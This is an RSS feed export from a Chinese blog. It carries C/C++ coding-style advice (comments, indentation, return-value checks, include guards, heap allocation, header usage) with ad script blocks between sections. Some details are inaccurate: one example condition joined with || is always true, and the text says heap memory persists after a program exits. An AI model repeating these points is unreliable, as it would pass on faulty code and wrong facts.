        比如iostream.h 变为iostream。<br />
   b. 如果这个头文件是C也有的，那么去掉.h后缀，增加一个c前缀，比如string.h<br />
        变为cstring；stdio.h 变为cstdio, 等等。<br />
BTW：不要把string、cstring、string.h三个头文件搞混淆<br />
BTW：windows.h不是C/C++的标准文件，因此它的命名C/C++不管。<br />
<span id="more-907"></span><br />
8. 不要再写char*p = &#8220;XXX&#8221; 这种语句，要写成constchar*p = &#8220;XXX&#8221;，编译器之所以让前者通过编译是为了兼容以前的大量的旧代码。<br />
BTW：constTYPE*p 和TYPEconst*p 是一样的，风格不同而已。<br />
BTW：C语言中也有const关键字。 </p>
<p>9. 不要在同一条语句中包含一个变量的多个++/&#8211;，因为它们的解析在C/C++标准中没有规定，完全取决于编译器的个人行为。</p>
<p>10.C/C++ 是平台无关性语言，因此系统相关的process/GUI 等不在标准C/C++ 库中。比如graphics.h 和windows.h 等是由某个编译器提供的，而不是由C/C++ 提供的。</p>
<p>11.C/C++只是语言，而且是平台无关性语言。论坛上有部分人甚至认为C就是dos，C++就是windows，那么请问linux是什么？<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
12.[C++]面向对象曾经是设计Cwithclass（C++的前身）的主要目的，但C++不是，C++是一个多典范语言。主要支持过程调用、基于对象、面向对象、泛式编程这四种编程典范。当然还支持functional,generative,metaprogramming等典范。</p>
<p>13. 语法学家不是文学家，所以当你学会了一门计算机语言时，你还需要学习数据机构和算法，还需要掌握工具和平台API的用法。</p>
<p>14.C/C++ 是通用语言，因此语法很复杂，你应当裁减成适合你自己的语法集合，比如裁减成betterC 和ADT。</p>
<p>15.C/C++是通用语言，因此只含通用的库，你应该丰富自己需要的库，比如汽车工业协会有自己的C/C++函数/类/模板库。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/907.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>软件工程师必读：编程修养</title>
		<link>http://www.evanjiang.net.cn/archives/842.html</link>
		<comments>http://www.evanjiang.net.cn/archives/842.html#comments</comments>
		<pubDate>Fri, 20 Mar 2009 15:01:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vc++/vc#]]></category>
		<category><![CDATA[技术感悟]]></category>
		<category><![CDATA[编程修养]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=842</guid>
		<description><![CDATA[<p>什么是好的程序员？是不是懂得很多技术细节？还是懂底层编程？还是编程速度比较快？我觉得都不是。对于一些技术细节来说和底层的技术，只要看帮助，查资料就能找到，对于速度快，只要编得多也就熟能生巧。
我认为好的程序员应该有以下几方面的素质：
　1、有专研精神，勤学善问、举一反三。
　2、积极向上的态度，有创造性思维。
　3、与人积极交流沟通的能力，有团队精神。
　4、谦虚谨慎，戒骄戒燥。
5、写出的代码质量高。包括：代码的稳定、易读、规范、易维护、专业。
这些都是程序员的修养，这里我想谈谈“编程修养”，也就是上述中的第5点。我觉得，如果我要了解一个作者，我会看他所写的小说，如果我要了解一个画家，我会看他所画的图画，如果我要了解一个工人，我会看他所做出来的产品，同样，如果我要了解一个程序员，我想首先我最想看的就是他的程序代码，程序代码可以看出一个程序员的素质和修养，程序就像一个作品，有素质有修养的程序员的作品必然是一图精美的图画，一首美妙的歌曲，一本赏心悦目的小说。
我看过许多程序，没有注释，没有缩进，胡乱命名的变量名，等等，等等，我把这种人统称为没有修养的程序，这种程序员，是在做创造性的工作吗？不，完全就是在搞破坏，他们与其说是在编程，还不如说是在对源程序进行“加密”，这种程序员，见一个就应该开除一个，因为他编的程序所创造的价值，远远小于需要在上面进行维护的价值。
程序员应该有程序员的修养，那怕再累，再没时间，也要对自己的程序负责。我宁可要那种动作慢，技术一般，但有良好的写程序风格的程序员，也不要那种技术强、动作快的“搞破坏”的程序员。有句话叫“字如其人”，我想从程序上也能看出一个程序员的优劣。因为，程序是程序员的作品，作品的好坏直截关系到程序员的声誉和素质。而“修养”好的程序员一定能做出好的程序和软件。
有个成语叫“独具匠心”，意思是做什么都要做得很专业，很用心，如果你要做一个“匠”，也就是造诣高深的人，那么，从一件很简单的作品上就能看出你有没有“匠”的特性，我觉得做一个程序员不难，但要做一个“程序匠”就不简单。编程序很简单，但编出有质量的程序就难。
我在这里不讨论过深的技术，我只想在一些容易让人忽略的东西上说一说，虽然这些东西可能很细微，但如果你不注意这些细微之处的话，那么他将会极大的影响你的整个软件质量，以及整个软件程的实施，所谓“千里之堤，毁于蚁穴”。
“细微之处见真功”，真正能体现一个程序的功底恰恰在这些细微之处。
这就是程序员的&#8211;编程修养。我总结了在用C/C++语言（主要是C语言）进行程序写作上的三十二个“修养”，通过这些，你可以写出质量高的程序，同时也会让看你程序的人渍渍称道，那些看过你程序的人一定会说：“这个人的编程修养不错”。
　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
　　　　
　　　　01、版权和版本
　　　　02、缩进、空格、换行、空行、对齐
　　　　03、程序注释
　　　　04、函数的[in][out]参数
　　　　05、对系统调用的返回进行判断
　　　　06、if 语句对出错的处理
　　　　07、头文件中的#ifndef
　　　　08、在堆上分配内存
　　　　09、变量的初始化
　　　　10、h和c文件的使用
　　　　11、出错信息的处理
　　　　12、常用函数和循环语句中的被计算量
　　　　13、函数名和变量名的命名
　　　　14、函数的传值和传指针
　　　　15、修改别人程序的修养
　　　　16、把相同或近乎相同的代码形成函数和宏
　　　　17、表达式中的括号
　　　　18、函数参数中的const
　　　　19、函数的参数个数
　　　　20、函数的返回类型，不要省略
　　　　21、goto语句的使用
　　　　22、宏的使用
　　　　23、static的使用
　　　　24、函数中的代码尺寸
　　　　25、typedef的使用
　　　　26、为常量声明宏
　　　　27、不要为宏定义加分号
　　　　28、&#124;&#124;和&#038;&#038;的语句执行顺序
　　　　29、尽量用for而不是while做循环
　　　　30、请sizeof类型而不是变量
　　　　31、不要忽略Warning
　　　　32、书写Debug版和Release版的程序
　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>1、版权和版本
&#8212;&#8212;-
好的程序员会给自己的每个函数，每个文件，都注上版权和版本。
对于C/C++的文件，文件头应该有类似这样的注释：
/************************************************************************
*
*　 文件名：network.c
*
*　 文件描述：网络通讯函数集
*
*　 创建人： Hao Chen, 2003年2月3日
*
*　 版本号：1.0
*
*　 修改记录：
*
************************************************************************/
而对于函数来说，应该也有类似于这样的注释：
/*================================================================
*
* 函 数 名：XXX
*
* 参　　数：
*
*　　　　type name [IN] : descripts
*
* 功能描述:
*
*　　　　&#8230;&#8230;&#8230;&#8230;..
*
* 返 回 值：成功TRUE，失败FALSE
*
* 抛出异常：
*
* 作　　者：ChenHao 2003/4/2
*
================================================================*/
这样的描述可以让人对一个函数，一个文件有一个总体的认识，对代码的易读性和易维护性有很大的好处。这是好的作品产生的开始。</p>
<p>2、缩进、空格、换行、空行、对齐
&#8212;&#8212;&#8212;&#8212;&#8212;-
i) 缩进应该是每个程序都会做的，只要学程序过程序就应该知道这个，但是我仍然看过不缩进的程序，或是乱缩进的程序，如果你的公司还有写程序不缩进的程序员，请毫不犹豫的开除他吧，并以破坏源码罪起诉他，还要他赔偿读过他程序的人的精神损失费。缩进，这是不成文规矩，我再重提一下吧，一个缩进一般是一个TAB 键或是4个空格。（最好用TAB键）
ii) 空格。空格能给程序代来什么损失吗？没有，有效的利用空格可以让你的程序读进来更加赏心悦目。而不一堆表达式挤在一起。看看下面的代码：
　　ha=(ha*128+*key++)%tabPtr->size;
　　ha = ( ha * 128 + *key++ ) % tabPtr->size;
　　有空格和没有空格的感觉不一样吧。一般来说，语句中要在各个操作符间加空格，函数调用时，要以各个参数间加空格。如下面这种加空格的和不加的：
　　
if ((hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid))==NULL){
}
if ( ( hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) ) == NULL ){
}
iii) 换行。不要把语句都写在一行上，这样很不好。如：
　　for(i=0;i &#180;z&#180; ) ) {
　　　　　　break;
　　　　}
　　}
　　好多了吧？有时候，函数参数多的时候，最好也换行，如：
　　CreateProcess(
　　　　　　　　　NULL,
　　　　　　　　　cmdbuf,
　　　　　　　　　NULL,
　　　　　　　　　NULL,
　　　　　　　　　bInhH,
　　　　　　　　　dwCrtFlags,
　　　　　　　　　envbuf,
　　　　　　　　　NULL,
　　　　　　　　　&#038;siStartInfo,
　　　　　　　　　&#038;prInfo
　　　　　　　　 [...]]]></description>
			<content:encoded><![CDATA[<p>什么是好的程序员？是不是懂得很多技术细节？还是懂底层编程？还是编程速度比较快？我觉得都不是。对于一些技术细节来说和底层的技术，只要看帮助，查资料就能找到，对于速度快，只要编得多也就熟能生巧。<br />
我认为好的程序员应该有以下几方面的素质：<br />
　1、有专研精神，勤学善问、举一反三。<br />
　2、积极向上的态度，有创造性思维。<br />
　3、与人积极交流沟通的能力，有团队精神。<br />
　4、谦虚谨慎，戒骄戒燥。<br />
5、写出的代码质量高。包括：代码的稳定、易读、规范、易维护、专业。<br />
这些都是程序员的修养，这里我想谈谈“编程修养”，也就是上述中的第5点。我觉得，如果我要了解一个作者，我会看他所写的小说，如果我要了解一个画家，我会看他所画的图画，如果我要了解一个工人，我会看他所做出来的产品，同样，如果我要了解一个程序员，我想首先我最想看的就是他的程序代码，程序代码可以看出一个程序员的素质和修养，程序就像一个作品，有素质有修养的程序员的作品必然是一图精美的图画，一首美妙的歌曲，一本赏心悦目的小说。<br />
我看过许多程序，没有注释，没有缩进，胡乱命名的变量名，等等，等等，我把这种人统称为没有修养的程序，这种程序员，是在做创造性的工作吗？不，完全就是在搞破坏，他们与其说是在编程，还不如说是在对源程序进行“加密”，这种程序员，见一个就应该开除一个，因为他编的程序所创造的价值，远远小于需要在上面进行维护的价值。<br />
程序员应该有程序员的修养，那怕再累，再没时间，也要对自己的程序负责。我宁可要那种动作慢，技术一般，但有良好的写程序风格的程序员，也不要那种技术强、动作快的“搞破坏”的程序员。有句话叫“字如其人”，我想从程序上也能看出一个程序员的优劣。因为，程序是程序员的作品，作品的好坏直截关系到程序员的声誉和素质。而“修养”好的程序员一定能做出好的程序和软件。<br />
有个成语叫“独具匠心”，意思是做什么都要做得很专业，很用心，如果你要做一个“匠”，也就是造诣高深的人，那么，从一件很简单的作品上就能看出你有没有“匠”的特性，我觉得做一个程序员不难，但要做一个“程序匠”就不简单。编程序很简单，但编出有质量的程序就难。<br />
我在这里不讨论过深的技术，我只想在一些容易让人忽略的东西上说一说，虽然这些东西可能很细微，但如果你不注意这些细微之处的话，那么他将会极大的影响你的整个软件质量，以及整个软件程的实施，所谓“千里之堤，毁于蚁穴”。<br />
“细微之处见真功”，真正能体现一个程序的功底恰恰在这些细微之处。<br />
这就是程序员的&#8211;编程修养。我总结了在用C/C++语言（主要是C语言）进行程序写作上的三十二个“修养”，通过这些，你可以写出质量高的程序，同时也会让看你程序的人渍渍称道，那些看过你程序的人一定会说：“这个人的编程修养不错”。<br />
　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
　<span id="more-842"></span>　　　<br />
　　　　01、版权和版本<br />
　　　　02、缩进、空格、换行、空行、对齐<br />
　　　　03、程序注释<br />
　　　　04、函数的[in][out]参数<br />
　　　　05、对系统调用的返回进行判断<br />
　　　　06、if 语句对出错的处理<br />
　　　　07、头文件中的#ifndef<br />
　　　　08、在堆上分配内存<br />
　　　　09、变量的初始化<br />
　　　　10、h和c文件的使用<br />
　　　　11、出错信息的处理<br />
　　　　12、常用函数和循环语句中的被计算量<br />
　　　　13、函数名和变量名的命名<br />
　　　　14、函数的传值和传指针<br />
　　　　15、修改别人程序的修养<br />
　　　　16、把相同或近乎相同的代码形成函数和宏<br />
　　　　17、表达式中的括号<br />
　　　　18、函数参数中的const<br />
　　　　19、函数的参数个数<br />
　　　　20、函数的返回类型，不要省略<br />
　　　　21、goto语句的使用<br />
　　　　22、宏的使用<br />
　　　　23、static的使用<br />
　　　　24、函数中的代码尺寸<br />
　　　　25、typedef的使用<br />
　　　　26、为常量声明宏<br />
　　　　27、不要为宏定义加分号<br />
　　　　28、||和&#038;&#038;的语句执行顺序<br />
　　　　29、尽量用for而不是while做循环<br />
　　　　30、请sizeof类型而不是变量<br />
　　　　31、不要忽略Warning<br />
　　　　32、书写Debug版和Release版的程序<br />
　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>1、版权和版本<br />
&#8212;&#8212;-<br />
好的程序员会给自己的每个函数，每个文件，都注上版权和版本。<br />
对于C/C++的文件，文件头应该有类似这样的注释：<br />
/************************************************************************<br />
*<br />
*　 文件名：network.c<br />
*<br />
*　 文件描述：网络通讯函数集<br />
*<br />
*　 创建人： Hao Chen, 2003年2月3日<br />
*<br />
*　 版本号：1.0<br />
*<br />
*　 修改记录：<br />
*<br />
************************************************************************/<br />
而对于函数来说，应该也有类似于这样的注释：<br />
/*================================================================<br />
*<br />
* 函 数 名：XXX<br />
*<br />
* 参　　数：<br />
*<br />
*　　　　type name [IN] : descripts<br />
*<br />
* 功能描述:<br />
*<br />
*　　　　&#8230;&#8230;&#8230;&#8230;..<br />
*<br />
* 返 回 值：成功TRUE，失败FALSE<br />
*<br />
* 抛出异常：<br />
*<br />
* 作　　者：ChenHao 2003/4/2<br />
*<br />
================================================================*/<br />
这样的描述可以让人对一个函数，一个文件有一个总体的认识，对代码的易读性和易维护性有很大的好处。这是好的作品产生的开始。</p>
<p>2、缩进、空格、换行、空行、对齐<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
i) 缩进应该是每个程序都会做的，只要学程序过程序就应该知道这个，但是我仍然看过不缩进的程序，或是乱缩进的程序，如果你的公司还有写程序不缩进的程序员，请毫不犹豫的开除他吧，并以破坏源码罪起诉他，还要他赔偿读过他程序的人的精神损失费。缩进，这是不成文规矩，我再重提一下吧，一个缩进一般是一个TAB 键或是4个空格。（最好用TAB键）<br />
ii) 空格。空格能给程序代来什么损失吗？没有，有效的利用空格可以让你的程序读进来更加赏心悦目。而不一堆表达式挤在一起。看看下面的代码：<br />
　　ha=(ha*128+*key++)%tabPtr->size;<br />
　　ha = ( ha * 128 + *key++ ) % tabPtr->size;<br />
　　有空格和没有空格的感觉不一样吧。一般来说，语句中要在各个操作符间加空格，函数调用时，要以各个参数间加空格。如下面这种加空格的和不加的：<br />
　　<br />
if ((hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid))==NULL){<br />
}<br />
if ( ( hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) ) == NULL ){<br />
}<br />
iii) 换行。不要把语句都写在一行上，这样很不好。如：<br />
　　for(i=0;i<len;i++) if((a<&acute;0&acute;||a>&acute;9&acute;)&#038;&#038;(a<&acute;a&acute;||a>&acute;z&acute;)) break;<br />
　　<br />
　　我拷，这种即无空格，又无换行的程序在写什么啊？加上空格和换行吧。　　<br />
　　<br />
　　for ( i=0; i<len; i++) {<br />
　　　　if ( ( a < &acute;0&acute; || a > &acute;9&acute; ) &#038;&#038;<br />
　　　　　　 ( a < &acute;a&acute; || a > &acute;z&acute; ) ) {<br />
　　　　　　break;<br />
　　　　}<br />
　　}<br />
　　好多了吧？有时候，函数参数多的时候，最好也换行，如：<br />
　　CreateProcess(<br />
　　　　　　　　　NULL,<br />
　　　　　　　　　cmdbuf,<br />
　　　　　　　　　NULL,<br />
　　　　　　　　　NULL,<br />
　　　　　　　　　bInhH,<br />
　　　　　　　　　dwCrtFlags,<br />
　　　　　　　　　envbuf,<br />
　　　　　　　　　NULL,<br />
　　　　　　　　　&#038;siStartInfo,<br />
　　　　　　　　　&#038;prInfo<br />
　　　　　　　　 );<br />
　　条件语句也应该在必要时换行：<br />
　　<br />
　　if ( ch >= &acute;0&acute; || ch <= &acute;9&acute; ||<br />
　　　　 ch >= &acute;a&acute; || ch <= &acute;z&acute; ||<br />
　　　　 ch >= &acute;A&acute; || ch <= &acute;Z&acute; )<br />
　　　　　　　　　<br />
iv) 空行。不要不加空行，空行可以区分不同的程序块，程序块间，最好加上空行。如：<br />
　　HANDLE hProcess;<br />
　　PROCESS_T procInfo;<br />
　　/* open the process handle */<br />
　　if((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)<br />
　　{<br />
　　　　return LSE_MISC_SYS;<br />
　　}<br />
　　memset(&#038;procInfo, 0, sizeof(procInfo));<br />
　　procInfo.idProc = pid;<br />
　　procInfo.hdProc = hProcess;<br />
　　procInfo.misc |= MSCAVA_PROC;<br />
　　return(0);<br />
　　　　　　　　　<br />
v) 对齐。用TAB键对齐你的一些变量的声明或注释，一样会让你的程序好看一些。如：<br />
typedef struct _pt_man_t_ {<br />
　　int　　 numProc;　　/* Number of processes　　　　　　　　 */<br />
　　int　　 maxProc;　　/* Max Number of processes　　　　　　 */<br />
　　int　　 numEvnt;　　/* Number of events　　　　　　　　　　*/<br />
　　int　　 maxEvnt;　　/* Max Number of events　　　　　　　　*/<br />
　　HANDLE* pHndEvnt;　 /* Array of events　　　　　　　　　　 */<br />
　　DWORD　 timeout;　　/* Time out interval　　　　　　　　　 */<br />
　　HANDLE　hPipe;　　　/* Namedpipe　　　　　　　　　　　　　 */<br />
　　TCHAR　 usr[MAXUSR];/* User name of the process　　　　　　*/<br />
　　int　　 numMsg;　　 /* Number of Message　　　　　　　　　 */<br />
　　int　　 Msg[MAXMSG];/* Space for intro process communicate */<br />
} PT_MAN_T;<br />
怎么样？感觉不错吧。<br />
这里主要讲述了如果写出让人赏心悦目的代码，好看的代码会让人的心情愉快，读起代码也就不累，工整、整洁的程序代码，通常更让人欢迎，也更让人称道。现在的硬盘空间这么大，不要让你的代码挤在一起，这样它们会抱怨你虐待它们的。好了，用“缩进、空格、换行、空行、对齐”装饰你的代码吧，让他们从没有秩序的土匪中变成一排排整齐有秩序的正规部队吧。</p>
<p>　　　　　　　　　<br />
3、程序注释<br />
------<br />
养成写程序注释的习惯，这是每个程序员所必须要做的工作。我看过那种几千行，却居然没有一行注释的程序。这就如同在公路上驾车却没有路标一样。用不了多久，连自己都不知道自己的意图了，还要花上几倍的时间才看明白，这种浪费别人和自己的时间的人，是最为可耻的人。<br />
是的，你也许会说，你会写注释，真的吗？注释的书写也能看出一个程序员的功底。一般来说你需要至少写这些地方的注释：文件的注释、函数的注释、变量的注释、算法的注释、功能块的程序注释。主要就是记录你这段程序是干什么的？你的意图是什么？你这个变量是用来做什么的？等等。<br />
不要以为注释好写，有一些算法是很难说或写出来的，只能意会，我承认有这种情况的时候，但你也要写出来，正好可以训练一下自己的表达能力。而表达能力正是那种闷头搞技术的技术人员最缺的，你有再高的技术，如果你表达能力不行，你的技术将不能得到充分的发挥。因为，这是一个团队的时代。<br />
好了，说几个注释的技术细节：<br />
i) 对于行注释（“//”）比块注释（“/* */”）要好的说法，我并不是很同意。因为一些老版本的C编译器并不支持行注释，所以为了你的程序的移植性，请你还是尽量使用块注释。<br />
ii) 你也许会为块注释的不能嵌套而不爽，那么你可以用预编译来完成这个功能。使用“#if 0”和“#endif”括起来的代码，将不被编译，而且还可以嵌套。</p>
<p>4、函数的[in][out]参数<br />
-----------<br />
我经常看到这样的程序：<br />
FuncName(char* str)<br />
{<br />
　　int len = strlen(str);<br />
　　.....<br />
}<br />
char*<br />
GetUserName(struct user* pUser)<br />
{<br />
　　return pUser->name;<br />
}<br />
不！请不要这样做。<br />
你应该先判断一下传进来的那个指针是不是为空。如果传进来的指针为空的话，那么，你的一个大的系统就会因为这一个小的函数而崩溃。一种更好的技术是使用断言（assert），这里我就不多说这些技术细节了。当然，如果是在C++中，引用要比指针好得多，但你也需要对各个参数进行检查。<br />
写有参数的函数时，首要工作，就是要对传进来的所有参数进行合法性检查。而对于传出的参数也应该进行检查，这个动作当然应该在函数的外部，也就是说，调用完一个函数后，应该对其传出的值进行检查。<br />
当然，检查会浪费一点时间，但为了整个系统不至于出现“非法操作”或是“Core Dump”的系统级的错误，多花这点时间还是很值得的。</p>
<p>5、对系统调用的返回进行判断<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
继续上一条，对于一些系统调用，比如打开文件，我经常看到，许多程序员对fopen返回的指针不做任何判断，就直接使用了。然后发现文件的内容怎么也读出不，或是怎么也写不进去。还是判断一下吧：<br />
　　fp = fopen(&#8220;log.txt&#8221;, &#8220;a&#8221;);<br />
　　if ( fp == NULL ){<br />
　　　　printf(&#8220;Error: open file errorn&#8221;);<br />
　　　　return FALSE;<br />
　　}<br />
其它还有许多啦，比如：socket返回的socket号，malloc返回的内存。请对这些系统调用返回的东西进行判断。</p>
<p>6、if 语句对出错的处理<br />
&#8212;&#8212;&#8212;&#8211;<br />
我看见你说了，这有什么好说的。还是先看一段程序代码吧。<br />
　　if ( ch >= &acute;0&acute; &#038;&#038; ch <= &acute;9&acute; ){<br />
　　　　/* 正常处理代码 */<br />
　　}else{<br />
　　　　/* 输出错误信息 */<br />
　　　　printf("error ......n");<br />
　　　　return ( FALSE );<br />
　　}<br />
这种结构很不好，特别是如果“正常处理代码”很长时，对于这种情况，最好不要用else。先判断错误，如：<br />
　　if ( ch < &acute;0&acute; || ch > &acute;9&acute; ){<br />
　　　　/* 输出错误信息 */<br />
　　　　printf(&#8220;error &#8230;&#8230;n&#8221;);<br />
　　　　return ( FALSE );<br />
　　}<br />
　　<br />
　　/* 正常处理代码 */<br />
　　&#8230;&#8230;</p>
<p>这样的结构，不是很清楚吗？突出了错误的条件，让别人在使用你的函数的时候，第一眼就能看到不合法的条件，于是就会更下意识的避免。</p>
<p>7、头文件中的#ifndef<br />
&#8212;&#8212;&#8212;-<br />
千万不要忽略了头件的中的#ifndef，这是一个很关键的东西。比如你有两个C文件，这两个C文件都include了同一个头文件。而编译时，这两个C文件要一同编译成一个可运行文件，于是问题来了，大量的声明冲突。<br />
还是把头文件的内容都放在#ifndef和#endif中吧。不管你的头文件会不会被多个文件引用，你都要加上这个。一般格式是这样的：<br />
　　#ifndef　<标识><br />
　　#define <标识><br />
　　<br />
　　&#8230;&#8230;<br />
　　&#8230;&#8230;<br />
　　<br />
　　#endif<br />
　　<br />
<标识>在理论上来说可以是自由命名的，但每个头文件的这个“标识”都应该是唯一的。标识的命名规则一般是头文件名全大写，前后加下划线，并把文件名中的“.”也变成下划线，如：stdio.h<br />
　　#ifndef _STDIO_H_<br />
　　#define _STDIO_H_<br />
　　<br />
　　&#8230;&#8230;<br />
　　<br />
　　#endif<br />
　　<br />
（BTW：预编译有多很有用的功能。你会用预编译吗？）　　<br />
　　</p>
<p>8、在堆上分配内存<br />
&#8212;&#8212;&#8212;<br />
可能许多人对内存分配上的“栈 stack”和“堆 heap”还不是很明白。包括一些科班出身的人也不明白这两个概念。我不想过多的说这两个东西。简单的来讲，stack上分配的内存系统自动释放，heap上分配的内存，系统不释放，哪怕程序退出，那一块内存还是在那里。stack一般是静态分配内存，heap上一般是动态分配内存。<br />
由malloc系统函数分配的内存就是从堆上分配内存。从堆上分配的内存一定要自己释放。用free释放，不然就是术语&#8211;“内存泄露”（或是“内存漏洞 ”）&#8211; Memory Leak。于是，系统的可分配内存会随malloc越来越少，直到系统崩溃。还是来看看“栈内存”和“堆内存”的差别吧。<br />
　　栈内存分配<br />
　　&#8212;&#8211;<br />
　　char*<br />
　　AllocStrFromStack()<br />
　　{<br />
　　　　char pstr[100];<br />
　　　　return pstr;<br />
　　}<br />
　　<br />
　　<br />
　　堆内存分配<br />
　　&#8212;&#8211;<br />
　　char*<br />
　　AllocStrFromHeap(int len)<br />
　　{<br />
　　　　char *pstr;<br />
　　　　<br />
　　　　if ( len <= 0 ) return NULL;<br />
　　　　return ( char* ) malloc( len );<br />
　　}<br />
对于第一个函数，那块pstr的内存在函数返回时就被系统释放了。于是所返回的char*什么也没有。而对于第二个函数，是从堆上分配内存，所以哪怕是程序退出时，也不释放，所以第二个函数的返回的内存没有问题，可以被使用。但一定要调用free释放，不然就是Memory Leak！<br />
在堆上分配内存很容易造成内存泄漏，这是C/C++的最大的“克星”，如果你的程序要稳定，那么就不要出现Memory Leak。所以，我还是要在这里千叮咛万嘱付，在使用malloc系统函数（包括calloc，realloc）时千万要小心。<br />
记得有一个UNIX上的服务应用程序，大约有几百的C文件编译而成，运行测试良好，等使用时，每隔三个月系统就是down一次，搞得许多人焦头烂额，查不出问题所在。只好，每隔两个月人工手动重启系统一次。出现这种问题就是Memery Leak在做怪了，在C/C++中这种问题总是会发生，所以你一定要小心。一个Rational的检测工作--Purify，可以帮你测试你的程序有没有内存泄漏。<br />
我保证，做过许多C/C++的工程的程序员，都会对malloc或是new有些感冒。当你什么时候在使用malloc和new时，有一种轻度的紧张和惶恐的感觉时，你就具备了这方面的修养了。<br />
　　<br />
对于malloc和free的操作有以下规则：<br />
1) 配对使用，有一个malloc，就应该有一个free。（C++中对应为new和delete）<br />
2) 尽量在同一层上使用，不要像上面那种，malloc在函数中，而free在函数外。最好在同一调用层上使用这两个函数。<br />
3) malloc分配的内存一定要初始化。free后的指针一定要设置为NULL。　　<br />
注：虽然现在的操作系统（如：UNIX和Win2k/NT）都有进程内存跟踪机制，也就是如果你有没有释放的内存，操作系统会帮你释放。但操作系统依然不会释放你程序中所有产生了Memory Leak的内存，所以，最好还是你自己来做这个工作。（有的时候不知不觉就出现Memory Leak了，而且在几百万行的代码中找无异于海底捞针，Rational有一个工具叫Purify，可能很好的帮你检查程序中的Memory Leak）</p>
<p>9、变量的初始化<br />
--------<br />
接上一条，变量一定要被初始化再使用。C/C++编译器在这个方面不会像JAVA一样帮你初始化，这一切都需要你自己来，如果你使用了没有初始化的变量，结果未知。好的程序员从来都会在使用变量前初始化变量的。如：<br />
　　1) 对malloc分配的内存进行memset清零操作。（可以使用calloc分配一块全零的内存）<br />
　　2) 对一些栈上分配的struct或数组进行初始化。（最好也是清零）<br />
　　<br />
不过话又说回来了，初始化也会造成系统运行时间有一定的开销，所以，也不要对所有的变量做初始化，这个也没有意义。好的程序员知道哪些变量需要初始化，哪些则不需要。如：以下这种情况，则不需要。<br />
　　　　<br />
　　　　char *pstr;　/* 一个字符串 */<br />
　　　　pstr = ( char* ) malloc( 50 );<br />
　　　　if ( pstr == NULL ) exit(0);<br />
　　　　strcpy( pstr, "Hello Wrold" );<br />
但如果是下面一种情况，最好进行内存初始化。（指针是一个危险的东西，一定要初始化）<br />
　　　　char **pstr;　/* 一个字符串数组 */<br />
　　　　pstr = ( char** ) malloc( 50 );<br />
　　　　if ( pstr == NULL ) exit(0);<br />
　　　　<br />
　　　　/* 让数组中的指针都指向NULL */<br />
　　　　memset( pstr, 0, 50*sizeof(char*) );<br />
　　　　<br />
而对于全局变量，和静态变量，一定要声明时就初始化。因为你不知道它第一次会在哪里被使用。所以使用前初始这些变量是比较不现实的，一定要在声明时就初始化它们。如：<br />
　　Links *plnk = NULL;　/* 对于全局变量plnk初始化为NULL */</p>
<p>10、h和c文件的使用<br />
---------<br />
H文件和C文件怎么用呢？一般来说，H文件中是declare（声明），C文件中是define（定义）。因为C文件要编译成库文件（Windows下是.obj/.lib，UNIX下是.o/.a），如果别人要使用你的函数，那么就要引用你的H文件，所以，H文件中一般是变量、宏定义、枚举、结构和函数接口的声明，就像一个接口说明文件一样。而C文件则是实现细节。<br />
H文件和C文件最大的用处就是声明和实现分开。这个特性应该是公认的了，但我仍然看到有些人喜欢把函数写在H文件中，这种习惯很不好。（如果是C++话，对于其模板函数，在VC中只有把实现和声明都写在一个文件中，因为VC不支持export关键字）。而且，如果在H文件中写上函数的实现，你还得在 makefile中把头文件的依赖关系也加上去，这个就会让你的makefile很不规范。<br />
最后，有一个最需要注意的地方就是：带初始化的全局变量不要放在H文件中！<br />
例如有一个处理错误信息的结构：<br />
　　char* errmsg[] = {<br />
　　　　/* 0 */　　　 "No error",　　　　　　　　<br />
　　　　/* 1 */　　　 "Open file error",　　　　<br />
　　　　/* 2 */　　　 "Failed in sending/receiving a message",　<br />
　　　　/* 3 */　　　 "Bad arguments",　<br />
　　　　/* 4 */　　　 "Memeroy is not enough",<br />
　　　　/* 5 */　　　 "Service is down; try later",<br />
　　　　/* 6 */　　　 "Unknow information",<br />
　　　　/* 7 */　　　 "A socket operation has failed",<br />
　　　　/* 8 */　　　 "Permission denied",<br />
　　　　/* 9 */　　　 "Bad configuration file format",　<br />
　　　　/* 10 */　　　"Communication time out",<br />
　　　　......<br />
　　　　......<br />
　　};<br />
　　<br />
请不要把这个东西放在头文件中，因为如果你的这个头文件被5个函数库（.lib或是.a）所用到，于是他就被链接在这5个.lib或.a中，而如果你的一个程序用到了这5个函数库中的函数，并且这些函数都用到了这个出错信息数组。那么这份信息将有5个副本存在于你的执行文件中。如果你的这个errmsg很大的话，而且你用到的函数库更多的话，你的执行文件也会变得很大。<br />
正确的写法应该把它写到C文件中，然后在各个需要用到errmsg的C文件头上加上 extern char* errmsg[]; 的外部声明，让编译器在链接时才去管他，这样一来，就只会有一个errmsg存在于执行文件中，而且，这样做很利于封装。<br />
